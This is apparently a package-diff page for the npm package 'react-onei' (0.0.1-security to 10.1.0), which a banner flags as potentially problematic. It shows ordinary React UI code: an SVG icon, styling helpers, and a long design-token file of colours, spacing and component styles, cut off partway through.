react-onei 0.0.1-security → 10.1.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-onei might be problematic. Click here for more details.
@@ -0,0 +1,8 @@
|
|
1
|
+
import { createSvgIcon } from '../Utils/helpers';
|
2
|
+
export default createSvgIcon({
|
3
|
+
name: 'OpticalAmplifier',
|
4
|
+
width: 1024,
|
5
|
+
height: 1024,
|
6
|
+
// eslint-disable-next-line max-len, comma-spacing
|
7
|
+
paths: ['M932.48 484.16l-808-479.68c-4.814-3.053-10.677-4.866-16.962-4.866-17.673 0-32 14.327-32 32 0 0.136 0.001 0.271 0.003 0.406l-0-0.021v960c-0.005 0.211-0.008 0.46-0.008 0.709 0 17.673 14.327 32 32 32 6.288 0 12.153-1.814 17.099-4.947l-0.131 0.078 808-480c9.757-5.606 16.222-15.968 16.222-27.84s-6.465-22.234-16.067-27.758l-0.155-0.082z']
|
8
|
+
});
|
@@ -0,0 +1,99 @@
|
|
1
|
+
function _templateObject() {
|
2
|
+
var data = _taggedTemplateLiteralLoose(["\n overflow: auto;\n\n ::-webkit-scrollbar {\n width: ", ";\n }\n\n ::-webkit-scrollbar-thumb {\n background: ", ";\n }\n\n ::-webkit-scrollbar-track {\n background: ", ";\n }\n"]);
|
3
|
+
_templateObject = function _templateObject() {
|
4
|
+
return data;
|
5
|
+
};
|
6
|
+
return data;
|
7
|
+
}
|
8
|
+
function _taggedTemplateLiteralLoose(strings, raw) {
|
9
|
+
if (!raw) {
|
10
|
+
raw = strings.slice(0);
|
11
|
+
}
|
12
|
+
strings.raw = raw;
|
13
|
+
return strings;
|
14
|
+
}
|
15
|
+
function _extends() {
|
16
|
+
_extends = Object.assign || function (target) {
|
17
|
+
for (var i = 1; i < arguments.length; i++) {
|
18
|
+
var source = arguments[i];
|
19
|
+
for (var key in source) {
|
20
|
+
if (Object.prototype.hasOwnProperty.call(source, key)) {
|
21
|
+
target[key] = source[key];
|
22
|
+
}
|
23
|
+
}
|
24
|
+
}
|
25
|
+
return target;
|
26
|
+
};
|
27
|
+
return _extends.apply(this, arguments);
|
28
|
+
}
|
29
|
+
function _objectWithoutPropertiesLoose(source, excluded) {
|
30
|
+
if (source == null) return {};
|
31
|
+
var target = {};
|
32
|
+
var sourceKeys = Object.keys(source);
|
33
|
+
var key, i;
|
34
|
+
for (i = 0; i < sourceKeys.length; i++) {
|
35
|
+
key = sourceKeys[i];
|
36
|
+
if (excluded.indexOf(key) >= 0) continue;
|
37
|
+
target[key] = source[key];
|
38
|
+
}
|
39
|
+
return target;
|
40
|
+
}
|
41
|
+
import React from 'react';
|
42
|
+
import PropTypes from 'prop-types';
|
43
|
+
import styled from 'styled-components';
|
44
|
+
import { colors } from '../../styles/variables';
|
45
|
+
var colorsList = process.env.NODE_ENV !== "production" ? Object.keys(colors) : {};
|
46
|
+
var px2rem = function px2rem(px) {
|
47
|
+
return px / 16 + "rem";
|
48
|
+
};
|
49
|
+
var margin = function margin(obj) {
|
50
|
+
return px2rem(obj.marginTop || 0) + " " + px2rem(obj.marginRight || 0) + " \n " + px2rem(obj.marginBottom || 0) + " " + px2rem(obj.marginLeft || 0);
|
51
|
+
};
|
52
|
+
var padding = function padding(obj) {
|
53
|
+
return px2rem(obj.paddingTop || 0) + " " + px2rem(obj.paddingRight || 0) + " \n " + px2rem(obj.paddingBottom || 0) + " " + px2rem(obj.paddingLeft || 0);
|
54
|
+
};
|
55
|
+
var createSvgIcon = function createSvgIcon(iconObj) {
|
56
|
+
var Icon = function Icon(props) {
|
57
|
+
var size = props.size,
|
58
|
+
color = props.color,
|
59
|
+
rest = _objectWithoutPropertiesLoose(props, ["size", "color"]);
|
60
|
+
return React.createElement("svg", _extends({
|
61
|
+
width: size,
|
62
|
+
height: size,
|
63
|
+
viewBox: "0 0 " + iconObj.width + " " + iconObj.height
|
64
|
+
}, rest), iconObj.paths.map(function (p, key) {
|
65
|
+
return React.createElement("path", {
|
66
|
+
key: key,
|
67
|
+
d: p,
|
68
|
+
fill: colors[color]
|
69
|
+
});
|
70
|
+
}));
|
71
|
+
};
|
72
|
+
Icon.displayName = iconObj.name;
|
73
|
+
Icon.propTypes = process.env.NODE_ENV !== "production" ? {
|
74
|
+
size: PropTypes.number,
|
75
|
+
color: PropTypes.oneOf(colorsList)
|
76
|
+
} : {};
|
77
|
+
Icon.defaultProps = {
|
78
|
+
size: 32,
|
79
|
+
color: 'black'
|
80
|
+
};
|
81
|
+
return Icon;
|
82
|
+
};
|
83
|
+
var setInputValue = function setInputValue(inputElement, value) {
|
84
|
+
var setValue = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value').set;
|
85
|
+
setValue.call(inputElement, value);
|
86
|
+
var event;
|
87
|
+
if (typeof Event === 'function') {
|
88
|
+
event = new Event('input', {
|
89
|
+
bubbles: true
|
90
|
+
});
|
91
|
+
} else {
|
92
|
+
// for IE11
|
93
|
+
event = document.createEvent('Event');
|
94
|
+
event.initEvent('input', true, false);
|
95
|
+
}
|
96
|
+
inputElement.dispatchEvent(event);
|
97
|
+
};
|
98
|
+
var ScrollableContainer = styled('div')(_templateObject(), px2rem(10), colors.grey4, colors.white);
|
99
|
+
export { px2rem, margin, padding, createSvgIcon, setInputValue, ScrollableContainer };
|
@@ -0,0 +1,869 @@
|
|
1
|
+
function _extends() {
|
2
|
+
_extends = Object.assign || function (target) {
|
3
|
+
for (var i = 1; i < arguments.length; i++) {
|
4
|
+
var source = arguments[i];
|
5
|
+
for (var key in source) {
|
6
|
+
if (Object.prototype.hasOwnProperty.call(source, key)) {
|
7
|
+
target[key] = source[key];
|
8
|
+
}
|
9
|
+
}
|
10
|
+
}
|
11
|
+
return target;
|
12
|
+
};
|
13
|
+
return _extends.apply(this, arguments);
|
14
|
+
}
|
15
|
+
export var breakpoints = {
|
16
|
+
small: 480,
|
17
|
+
medium: 768,
|
18
|
+
large: 1024,
|
19
|
+
xlarge: 1280,
|
20
|
+
xxlarge: 1440
|
21
|
+
};
|
22
|
+
export var gutters = {
|
23
|
+
xsmall: {
|
24
|
+
width: 15,
|
25
|
+
security: 0
|
26
|
+
},
|
27
|
+
small: {
|
28
|
+
width: 15,
|
29
|
+
security: 0
|
30
|
+
},
|
31
|
+
medium: {
|
32
|
+
width: 15,
|
33
|
+
security: 12
|
34
|
+
},
|
35
|
+
large: {
|
36
|
+
width: 15,
|
37
|
+
security: 32
|
38
|
+
},
|
39
|
+
xlarge: {
|
40
|
+
width: 15,
|
41
|
+
security: 40
|
42
|
+
},
|
43
|
+
xxlarge: {
|
44
|
+
width: 15,
|
45
|
+
security: 45
|
46
|
+
}
|
47
|
+
};
|
48
|
+
export var colors = {
|
49
|
+
black: '#000',
|
50
|
+
white: '#FFF',
|
51
|
+
primary: '#FF7900',
|
52
|
+
primaryDark: '#F16E00',
|
53
|
+
grey1: '#333',
|
54
|
+
grey2: '#F4F4F4',
|
55
|
+
grey3: '#555',
|
56
|
+
grey4: '#DDD',
|
57
|
+
text: '#000',
|
58
|
+
invertedText: '#FFF',
|
59
|
+
transparent: 'transparent',
|
60
|
+
success: '#3DE35A',
|
61
|
+
error: '#E70002',
|
62
|
+
info: '#26B2FF',
|
63
|
+
alert: '#FFCD0B',
|
64
|
+
dimmedSuccess: '#EBFCEE',
|
65
|
+
dimmedError: '#FCE5E5',
|
66
|
+
dimmedInfo: '#E9F7FF',
|
67
|
+
dimmedAlert: '#FFFAE6'
|
68
|
+
};
|
69
|
+
var textCommon = {
|
70
|
+
maxWidth: 600,
|
71
|
+
marginTop: 0,
|
72
|
+
marginBottom: 0,
|
73
|
+
marginLeft: 0,
|
74
|
+
marginRight: 0,
|
75
|
+
paddingTop: 0,
|
76
|
+
paddingBottom: 0,
|
77
|
+
paddingLeft: 0,
|
78
|
+
paddingRight: 0
|
79
|
+
};
|
80
|
+
export var text = {
|
81
|
+
lead: {
|
82
|
+
small: _extends({}, textCommon, {
|
83
|
+
fontSize: 16,
|
84
|
+
lineHeight: 22,
|
85
|
+
paddingTop: 7,
|
86
|
+
paddingBottom: 10
|
87
|
+
}),
|
88
|
+
medium: _extends({}, textCommon, {
|
89
|
+
fontSize: 16,
|
90
|
+
lineHeight: 22,
|
91
|
+
paddingTop: 7,
|
92
|
+
paddingBottom: 10
|
93
|
+
}),
|
94
|
+
large: _extends({}, textCommon, {
|
95
|
+
fontSize: 18,
|
96
|
+
lineHeight: 24,
|
97
|
+
paddingTop: 6,
|
98
|
+
paddingBottom: 10
|
99
|
+
})
|
100
|
+
},
|
101
|
+
standard: {
|
102
|
+
small: _extends({}, textCommon, {
|
103
|
+
fontSize: 14,
|
104
|
+
lineHeight: 20,
|
105
|
+
paddingTop: 8,
|
106
|
+
paddingBottom: 10
|
107
|
+
}),
|
108
|
+
medium: _extends({}, textCommon, {
|
109
|
+
fontSize: 14,
|
110
|
+
lineHeight: 20,
|
111
|
+
paddingTop: 8,
|
112
|
+
paddingBottom: 10
|
113
|
+
}),
|
114
|
+
large: _extends({}, textCommon, {
|
115
|
+
fontSize: 16,
|
116
|
+
lineHeight: 22,
|
117
|
+
paddingTop: 7,
|
118
|
+
paddingBottom: 10
|
119
|
+
})
|
120
|
+
},
|
121
|
+
mention: {
|
122
|
+
small: _extends({}, textCommon, {
|
123
|
+
fontSize: 12,
|
124
|
+
lineHeight: 18,
|
125
|
+
paddingTop: 8,
|
126
|
+
paddingBottom: 11
|
127
|
+
}),
|
128
|
+
medium: _extends({}, textCommon, {
|
129
|
+
fontSize: 12,
|
130
|
+
lineHeight: 18,
|
131
|
+
paddingTop: 8,
|
132
|
+
paddingBottom: 11
|
133
|
+
}),
|
134
|
+
large: _extends({}, textCommon, {
|
135
|
+
fontSize: 14,
|
136
|
+
lineHeight: 20,
|
137
|
+
paddingTop: 8,
|
138
|
+
paddingBottom: 10
|
139
|
+
})
|
140
|
+
}
|
141
|
+
};
|
142
|
+
export var button = {
|
143
|
+
common: {
|
144
|
+
fontSize: text.standard.large.fontSize,
|
145
|
+
lineHeight: text.standard.large.lineHeight,
|
146
|
+
maxWidth: 300,
|
147
|
+
borderWidth: 1,
|
148
|
+
spaceBetween: 30,
|
149
|
+
marginTop: 0,
|
150
|
+
marginBottom: 0,
|
151
|
+
marginLeft: 0,
|
152
|
+
marginRight: 0,
|
153
|
+
paddingTop: 13,
|
154
|
+
paddingBottom: 13,
|
155
|
+
paddingLeft: 45,
|
156
|
+
paddingRight: 45
|
157
|
+
},
|
158
|
+
primary: {
|
159
|
+
normal: {
|
160
|
+
"default": {
|
161
|
+
backgroundColor: colors.primaryDark,
|
162
|
+
borderColor: colors.primaryDark,
|
163
|
+
color: colors.invertedText
|
164
|
+
},
|
165
|
+
hover: {
|
166
|
+
backgroundColor: colors.black,
|
167
|
+
borderColor: colors.black,
|
168
|
+
color: colors.invertedText
|
169
|
+
},
|
170
|
+
active: {
|
171
|
+
backgroundColor: colors.white,
|
172
|
+
borderColor: colors.black,
|
173
|
+
color: colors.text
|
174
|
+
},
|
175
|
+
disabled: {
|
176
|
+
backgroundColor: colors.grey4,
|
177
|
+
borderColor: colors.grey4,
|
178
|
+
color: colors.invertedText
|
179
|
+
},
|
180
|
+
loading: {
|
181
|
+
backgroundColor: colors.white,
|
182
|
+
borderColor: colors.grey4,
|
183
|
+
color: colors.grey4
|
184
|
+
}
|
185
|
+
},
|
186
|
+
inverse: {
|
187
|
+
"default": {
|
188
|
+
backgroundColor: colors.primaryDark,
|
189
|
+
borderColor: colors.primaryDark,
|
190
|
+
color: colors.invertedText
|
191
|
+
},
|
192
|
+
hover: {
|
193
|
+
backgroundColor: colors.white,
|
194
|
+
borderColor: colors.white,
|
195
|
+
color: colors.text
|
196
|
+
},
|
197
|
+
active: {
|
198
|
+
backgroundColor: colors.black,
|
199
|
+
borderColor: colors.white,
|
200
|
+
color: colors.invertedText
|
201
|
+
},
|
202
|
+
disabled: {
|
203
|
+
backgroundColor: colors.grey3,
|
204
|
+
borderColor: colors.grey3,
|
205
|
+
color: colors.text
|
206
|
+
},
|
207
|
+
loading: {
|
208
|
+
backgroundColor: colors.white,
|
209
|
+
borderColor: colors.grey3,
|
210
|
+
color: colors.grey3
|
211
|
+
}
|
212
|
+
}
|
213
|
+
},
|
214
|
+
secondary: {
|
215
|
+
normal: {
|
216
|
+
"default": {
|
217
|
+
backgroundColor: colors.transparent,
|
218
|
+
borderColor: colors.black,
|
219
|
+
color: colors.text
|
220
|
+
},
|
221
|
+
hover: {
|
222
|
+
backgroundColor: colors.black,
|
223
|
+
borderColor: colors.black,
|
224
|
+
color: colors.invertedText
|
225
|
+
},
|
226
|
+
active: {
|
227
|
+
backgroundColor: colors.transparent,
|
228
|
+
borderColor: colors.primaryDark,
|
229
|
+
color: colors.primaryDark
|
230
|
+
},
|
231
|
+
disabled: {
|
232
|
+
backgroundColor: colors.transparent,
|
233
|
+
borderColor: colors.grey4,
|
234
|
+
color: colors.grey4
|
235
|
+
},
|
236
|
+
loading: {
|
237
|
+
backgroundColor: colors.white,
|
238
|
+
borderColor: colors.grey4,
|
239
|
+
color: colors.grey4
|
240
|
+
}
|
241
|
+
},
|
242
|
+
inverse: {
|
243
|
+
"default": {
|
244
|
+
backgroundColor: colors.transparent,
|
245
|
+
borderColor: colors.white,
|
246
|
+
color: colors.invertedText
|
247
|
+
},
|
248
|
+
hover: {
|
249
|
+
backgroundColor: colors.white,
|
250
|
+
borderColor: colors.white,
|
251
|
+
color: colors.text
|
252
|
+
},
|
253
|
+
active: {
|
254
|
+
backgroundColor: colors.transparent,
|
255
|
+
borderColor: colors.primary,
|
256
|
+
color: colors.primary
|
257
|
+
},
|
258
|
+
disabled: {
|
259
|
+
backgroundColor: colors.transparent,
|
260
|
+
borderColor: colors.grey3,
|
261
|
+
color: colors.grey3
|
262
|
+
},
|
263
|
+
loading: {
|
264
|
+
backgroundColor: colors.white,
|
265
|
+
borderColor: colors.grey3,
|
266
|
+
color: colors.grey3
|
267
|
+
}
|
268
|
+
}
|
269
|
+
},
|
270
|
+
image: {
|
271
|
+
normal: {
|
272
|
+
"default": {
|
273
|
+
backgroundColor: colors.black,
|
274
|
+
borderColor: colors.black,
|
275
|
+
color: colors.invertedText
|
276
|
+
},
|
277
|
+
hover: {
|
278
|
+
backgroundColor: colors.primaryDark,
|
279
|
+
borderColor: colors.primaryDark,
|
280
|
+
color: colors.invertedText
|
281
|
+
},
|
282
|
+
active: {
|
283
|
+
backgroundColor: colors.transparent,
|
284
|
+
borderColor: colors.primaryDark,
|
285
|
+
color: colors.primaryDark
|
286
|
+
},
|
287
|
+
disabled: {
|
288
|
+
backgroundColor: colors.grey4,
|
289
|
+
borderColor: colors.grey4,
|
290
|
+
color: colors.invertedText
|
291
|
+
}
|
292
|
+
},
|
293
|
+
inverse: {
|
294
|
+
"default": {
|
295
|
+
backgroundColor: colors.white,
|
296
|
+
borderColor: colors.white,
|
297
|
+
color: colors.text
|
298
|
+
},
|
299
|
+
hover: {
|
300
|
+
backgroundColor: colors.primaryDark,
|
301
|
+
borderColor: colors.primaryDark,
|
302
|
+
color: colors.invertedText
|
303
|
+
},
|
304
|
+
active: {
|
305
|
+
backgroundColor: colors.transparent,
|
306
|
+
borderColor: colors.primary,
|
307
|
+
color: colors.primary
|
308
|
+
},
|
309
|
+
disabled: {
|
310
|
+
backgroundColor: colors.grey3,
|
311
|
+
borderColor: colors.grey3,
|
312
|
+
color: colors.text
|
313
|
+
}
|
314
|
+
}
|
315
|
+
}
|
316
|
+
};
|
317
|
+
var headingCommon = {
|
318
|
+
fontSize: 14,
|
319
|
+
lineHeight: 16,
|
320
|
+
marginTop: 0,
|
321
|
+
marginBottom: 0,
|
322
|
+
marginLeft: 0,
|
323
|
+
marginRight: 0,
|
324
|
+
paddingTop: 0,
|
325
|
+
paddingBottom: 0,
|
326
|
+
paddingLeft: 0,
|
327
|
+
paddingRight: 0,
|
328
|
+
maxWidth: 600
|
329
|
+
};
|
330
|
+
export var breadcrumb = {
|
331
|
+
height: 38,
|
332
|
+
paddingTop: 8,
|
333
|
+
paddingBottom: 10,
|
334
|
+
small: {
|
335
|
+
paddingLeft: 15,
|
336
|
+
paddingRight: 15
|
337
|
+
},
|
338
|
+
medium: {
|
339
|
+
paddingLeft: 27,
|
340
|
+
paddingRight: 27
|
341
|
+
},
|
342
|
+
xlarge: {
|
343
|
+
paddingLeft: 55,
|
344
|
+
paddingRight: 55
|
345
|
+
},
|
346
|
+
item: {
|
347
|
+
height: 20,
|
348
|
+
fontSize: 14,
|
349
|
+
lineHeight: 1.43,
|
350
|
+
padding: 0,
|
351
|
+
marginLeft: 21,
|
352
|
+
firstChild: {
|
353
|
+
marginLeft: 0
|
354
|
+
},
|
355
|
+
svg: {
|
356
|
+
width: 7,
|
357
|
+
height: 12,
|
358
|
+
top: 5,
|
359
|
+
left: -14
|
360
|
+
}
|
361
|
+
}
|
362
|
+
};
|
363
|
+
export var heading = {
|
364
|
+
h1: {
|
365
|
+
small: _extends({}, headingCommon, {
|
366
|
+
fontSize: 26,
|
367
|
+
lineHeight: 30,
|
368
|
+
paddingTop: 4,
|
369
|
+
paddingBottom: 10
|
370
|
+
}),
|
371
|
+
medium: _extends({}, headingCommon, {
|
372
|
+
fontSize: 34,
|
373
|
+
lineHeight: 40,
|
374
|
+
paddingBottom: 8
|
375
|
+
}),
|
376
|
+
large: _extends({}, headingCommon, {
|
377
|
+
fontSize: 42,
|
378
|
+
lineHeight: 50,
|
379
|
+
paddingBottom: 6
|
380
|
+
})
|
381
|
+
},
|
382
|
+
h2: {
|
383
|
+
small: _extends({}, headingCommon, {
|
384
|
+
fontSize: 24,
|
385
|
+
lineHeight: 28,
|
386
|
+
marginTop: 5,
|
387
|
+
paddingBottom: 16,
|
388
|
+
underlineWidth: 30,
|
389
|
+
underlineHeight: 6
|
390
|
+
}),
|
391
|
+
medium: _extends({}, headingCommon, {
|
392
|
+
fontSize: 30,
|
393
|
+
lineHeight: 34,
|
394
|
+
paddingBottom: 15,
|
395
|
+
underlineWidth: 30,
|
396
|
+
underlineHeight: 6
|
397
|
+
}),
|
398
|
+
large: _extends({}, headingCommon, {
|
399
|
+
fontSize: 34,
|
400
|
+
lineHeight: 40,
|
401
|
+
paddingBottom: 14,
|
402
|
+
underlineWidth: 30,
|
403
|
+
underlineHeight: 6
|
404
|
+
})
|
405
|
+
},
|
406
|
+
h3: {
|
407
|
+
small: _extends({}, headingCommon, {
|
408
|
+
fontSize: 20,
|
409
|
+
lineHeight: 24,
|
410
|
+
paddingTop: 5,
|
411
|
+
paddingBottom: 11
|
412
|
+
}),
|
413
|
+
medium: _extends({}, headingCommon, {
|
414
|
+
fontSize: 26,
|
415
|
+
lineHeight: 30,
|
416
|
+
paddingTop: 4,
|
417
|
+
paddingBottom: 10
|
418
|
+
}),
|
419
|
+
large: _extends({}, headingCommon, {
|
420
|
+
fontSize: 30,
|
421
|
+
lineHeight: 34,
|
422
|
+
paddingTop: 3,
|
423
|
+
paddingBottom: 9
|
424
|
+
})
|
425
|
+
},
|
426
|
+
h4: {
|
427
|
+
small: _extends({}, headingCommon, {
|
428
|
+
fontSize: 20,
|
429
|
+
lineHeight: 24,
|
430
|
+
paddingTop: 5,
|
431
|
+
paddingBottom: 11
|
432
|
+
}),
|
433
|
+
medium: _extends({}, headingCommon, {
|
434
|
+
fontSize: 22,
|
435
|
+
lineHeight: 26,
|
436
|
+
paddingTop: 6,
|
437
|
+
paddingBottom: 10
|
438
|
+
}),
|
439
|
+
large: _extends({}, headingCommon, {
|
440
|
+
fontSize: 26,
|
441
|
+
lineHeight: 30,
|
442
|
+
paddingTop: 4,
|
443
|
+
paddingBottom: 10
|
444
|
+
})
|
445
|
+
},
|
446
|
+
h5: {
|
447
|
+
small: _extends({}, headingCommon),
|
448
|
+
medium: _extends({}, headingCommon),
|
449
|
+
large: _extends({}, headingCommon)
|
450
|
+
},
|
451
|
+
h6: {
|
452
|
+
small: _extends({}, headingCommon),
|
453
|
+
medium: _extends({}, headingCommon),
|
454
|
+
large: _extends({}, headingCommon)
|
455
|
+
}
|
456
|
+
};
|
457
|
+
export var input = {
|
458
|
+
paddingTop: 35,
|
459
|
+
paddingBottom: 13,
|
460
|
+
paddingLeft: 0,
|
461
|
+
paddingRight: 15,
|
462
|
+
maxWidth: 450,
|
463
|
+
label: {
|
464
|
+
"default": {
|
465
|
+
fontSize: 16,
|
466
|
+
lineHeight: 22,
|
467
|
+
color: colors.grey3
|
468
|
+
},
|
469
|
+
hover: {
|
470
|
+
color: colors.black
|
471
|
+
},
|
472
|
+
focus: {
|
473
|
+
fontSize: 14,
|
474
|
+
lineHeight: 20,
|
475
|
+
color: colors.black
|
476
|
+
},
|
477
|
+
error: {
|
478
|
+
color: colors.error
|
479
|
+
}
|
480
|
+
},
|
481
|
+
icon: {
|
482
|
+
size: 24
|
483
|
+
},
|
484
|
+
field: {
|
485
|
+
fontSize: 16,
|
486
|
+
lineHeight: 22,
|
487
|
+
backgroundColor: colors.white,
|
488
|
+
color: colors.text,
|
489
|
+
"default": {
|
490
|
+
borderWidth: 1,
|
491
|
+
borderColor: colors.grey3
|
492
|
+
},
|
493
|
+
hover: {
|
494
|
+
borderColor: colors.black
|
495
|
+
},
|
496
|
+
focus: {
|
497
|
+
borderWidth: 2,
|
498
|
+
borderColor: colors.black
|
499
|
+
},
|
500
|
+
error: {
|
501
|
+
borderWidth: 2,
|
502
|
+
borderColor: colors.error
|
503
|
+
}
|
504
|
+
},
|
505
|
+
helper: {
|
506
|
+
paddingTop: 8,
|
507
|
+
paddingBottom: 0,
|
508
|
+
fontSize: 14,
|
509
|
+
lineHeight: 20,
|
510
|
+
color: colors.grey3
|
511
|
+
},
|
512
|
+
error: {
|
513
|
+
paddingTop: 8,
|
514
|
+
paddingBottom: 10,
|
515
|
+
fontSize: 14,
|
516
|
+
lineHeight: 20,
|
517
|
+
color: colors.black,
|
518
|
+
backgroundColor: colors.dimmedError,
|
519
|
+
icon: {
|
520
|
+
size: 20,
|
521
|
+
color: 'error',
|
522
|
+
marginLeft: 15,
|
523
|
+
marginRight: 15
|
524
|
+
}
|
525
|
+
}
|
526
|
+
};
|
527
|
+
export var textarea = {
|
528
|
+
marginTop: 34,
|
529
|
+
mobile: {
|
530
|
+
svg: {
|
531
|
+
marginLeft: 15,
|
532
|
+
marginRight: 15
|
533
|
+
}
|
534
|
+
},
|
535
|
+
label: {
|
536
|
+
height: 24,
|
537
|
+
fontSize: 16,
|
538
|
+
lineHeight: 1.38,
|
539
|
+
icon: {
|
540
|
+
marginRight: 15,
|
541
|
+
marginLeft: 15,
|
542
|
+
width: 24,
|
543
|
+
height: 24,
|
544
|
+
filled: {
|
545
|
+
top: 45,
|
546
|
+
right: 16
|
547
|
+
}
|
548
|
+
},
|
549
|
+
active: {
|
550
|
+
lineHeight: 1.43,
|
551
|
+
fontSize: 14,
|
552
|
+
height: 20
|
553
|
+
},
|
554
|
+
mobile: {
|
555
|
+
marginTop: 12
|
556
|
+
},
|
557
|
+
error: {
|
558
|
+
lineHeight: 1.38,
|
559
|
+
fontSize: 16
|
560
|
+
}
|
561
|
+
},
|
562
|
+
spacer: {
|
563
|
+
height: 1,
|
564
|
+
marginTop: 13,
|
565
|
+
marginBottom: 8,
|
566
|
+
active: {
|
567
|
+
height: 2
|
568
|
+
},
|
569
|
+
error: {
|
570
|
+
height: 2,
|
571
|
+
marginTop: 12,
|
572
|
+
marginBottom: 8
|
573
|
+
}
|
574
|
+
},
|
575
|
+
helper: {
|
576
|
+
height: 20,
|
577
|
+
fontSize: 14,
|
578
|
+
lineHeight: 1.43,
|
579
|
+
icon: {
|
580
|
+
marginBottom: 10
|
581
|
+
},
|
582
|
+
svg: {
|
583
|
+
marginRight: 15
|
584
|
+
},
|
585
|
+
mobile: {
|
586
|
+
marginTop: 8,
|
587
|
+
marginBottom: 10
|
588
|
+
}
|
589
|
+
},
|
590
|
+
fakeTextarea: {
|
591
|
+
marginTop: 3,
|
592
|
+
height: 1.38 * 16 * 3,
|
593
|
+
paddingRight: 54,
|
594
|
+
fontSize: 16,
|
595
|
+
lineHeight: 1.38
|
596
|
+
},
|
597
|
+
textarea: {
|
598
|
+
marginTop: 3,
|
599
|
+
paddingRight: 15,
|
600
|
+
height: 198,
|
601
|
+
fontSize: 16,
|
602
|
+
lineHeight: 1.38,
|
603
|
+
mobile: {
|
604
|
+
marginBottom: 12,
|
605
|
+
subHeight: 12 + 20 + 3 + 13 + 8 + 20 + 10
|
606
|
+
}
|
607
|
+
},
|
608
|
+
error: {
|
609
|
+
svg: {
|
610
|
+
marginLeft: 15,
|
611
|
+
marginRight: 15
|
612
|
+
}
|
613
|
+
}
|
614
|
+
};
|
615
|
+
export var modal = {
|
616
|
+
small: {
|
617
|
+
width: '100%',
|
618
|
+
paddingTop: 0,
|
619
|
+
paddingBottom: 0,
|
620
|
+
paddingLeft: 15,
|
621
|
+
paddingRight: 15
|
622
|
+
},
|
623
|
+
medium: {
|
624
|
+
width: 10 / 12,
|
625
|
+
paddingTop: 45,
|
626
|
+
paddingBottom: 45,
|
627
|
+
paddingLeft: 45,
|
628
|
+
paddingRight: 75
|
629
|
+
},
|
630
|
+
xlarge: {
|
631
|
+
width: 8 / 12,
|
632
|
+
paddingTop: 45,
|
633
|
+
paddingBottom: 45,
|
634
|
+
paddingLeft: 60,
|
635
|
+
paddingRight: 75
|
636
|
+
}
|
637
|
+
};
|
638
|
+
export var checkbox = {
|
639
|
+
size: 24,
|
640
|
+
checked: 'primaryDark',
|
641
|
+
unchecked: 'black',
|
642
|
+
disabled: 'grey4'
|
643
|
+
};
|
644
|
+
export var radio = {
|
645
|
+
size: 24,
|
646
|
+
checked: 'primaryDark',
|
647
|
+
unchecked: 'black',
|
648
|
+
disabled: 'grey4'
|
649
|
+
};
|
650
|
+
export var formControl = {
|
651
|
+
labelMaxLines: 2,
|
652
|
+
sublabelMaxLines: 2,
|
653
|
+
paddingTop: 12,
|
654
|
+
paddingBottom: 12,
|
655
|
+
paddingLeft: 15,
|
656
|
+
labelSpacer: 3,
|
657
|
+
label: {
|
658
|
+
"default": {
|
659
|
+
fontSize: 16,
|
660
|
+
lineHeight: 22,
|
661
|
+
color: colors.black
|
662
|
+
},
|
663
|
+
hover: {
|
664
|
+
fontSize: 16,
|
665
|
+
lineHeight: 22,
|
666
|
+
color: colors.black
|
667
|
+
},
|
668
|
+
focus: {
|
669
|
+
fontSize: 16,
|
670
|
+
lineHeight: 22,
|
671
|
+
color: colors.black
|
672
|
+
},
|
673
|
+
disabled: {
|
674
|
+
fontSize: 16,
|
675
|
+
lineHeight: 22,
|
676
|
+
color: colors.grey4
|
677
|
+
}
|
678
|
+
},
|
679
|
+
sublabel: {
|
680
|
+
"default": {
|
681
|
+
fontSize: 14,
|
682
|
+
lineHeight: 20,
|
683
|
+
color: colors.grey3
|
684
|
+
},
|
685
|
+
hover: {
|
686
|
+
fontSize: 14,
|
687
|
+
lineHeight: 20,
|
688
|
+
color: colors.grey3
|
689
|
+
},
|
690
|
+
focus: {
|
691
|
+
fontSize: 14,
|
692
|
+
lineHeight: 20,
|
693
|
+
color: colors.grey3
|
694
|
+
},
|
695
|
+
disabled: {
|
696
|
+
fontSize: 14,
|
697
|
+
lineHeight: 20,
|
698
|
+
color: colors.grey4
|
699
|
+
}
|
700
|
+
}
|
701
|
+
};
|
702
|
+
export var calendar = {
|
703
|
+
month: {
|
704
|
+
fontSize: text.standard.large.fontSize,
|
705
|
+
lineHeight: text.standard.large.lineHeight,
|
706
|
+
marginTop: 7,
|
707
|
+
marginBottom: 17,
|
708
|
+
marginLeft: 0,
|
709
|
+
marginRight: 0
|
710
|
+
},
|
711
|
+
daysName: {
|
712
|
+
fontSize: text.standard.large.fontSize,
|
713
|
+
lineHeight: text.standard.large.lineHeight,
|
714
|
+
color: colors.grey3,
|
715
|
+
marginTop: 0,
|
716
|
+
marginBottom: 10,
|
717
|
+
marginLeft: 0,
|
718
|
+
marginRight: 0
|
719
|
+
},
|
720
|
+
day: {
|
721
|
+
fontSize: text.standard.large.fontSize,
|
722
|
+
lineHeight: text.standard.large.lineHeight,
|
723
|
+
width: 38,
|
724
|
+
height: 35,
|
725
|
+
marginTop: 0,
|
726
|
+
marginBottom: 0,
|
727
|
+
marginLeft: 0,
|
728
|
+
marginRight: 4,
|
729
|
+
hover: {
|
730
|
+
color: colors.invertedText,
|
731
|
+
backgroundColor: colors.black
|
732
|
+
},
|
733
|
+
active: {
|
734
|
+
color: colors.invertedText,
|
735
|
+
backgroundColor: colors.primaryDark
|
736
|
+
},
|
737
|
+
disabled: {
|
738
|
+
color: colors.grey4,
|
739
|
+
backgroundColor: colors.white
|
740
|
+
}
|
741
|
+
}
|
742
|
+
};
|
743
|
+
export var accordion = {
|
744
|
+
borderWidth: 1,
|
745
|
+
borderColor: colors.black,
|
746
|
+
title: {
|
747
|
+
marginRight: 15,
|
748
|
+
maxLines: 2
|
749
|
+
},
|
750
|
+
header: {
|
751
|
+
small: {
|
752
|
+
height: 70
|
753
|
+
},
|
754
|
+
medium: {
|
755
|
+
height: 80
|
756
|
+
},
|
757
|
+
large: {
|
758
|
+
height: 90
|
759
|
+
}
|
760
|
+
},
|
761
|
+
icon: {
|
762
|
+
small: {
|
763
|
+
size: 32,
|
764
|
+
marginRight: 15
|
765
|
+
},
|
766
|
+
medium: {
|
767
|
+
size: 42,
|
768
|
+
marginRight: 20
|
769
|
+
},
|
770
|
+
large: {
|
771
|
+
size: 52,
|
772
|
+
marginRight: 30
|
773
|
+
}
|
774
|
+
},
|
775
|
+
arrow: {
|
776
|
+
small: {
|
777
|
+
size: 14
|
778
|
+
},
|
779
|
+
medium: {
|
780
|
+
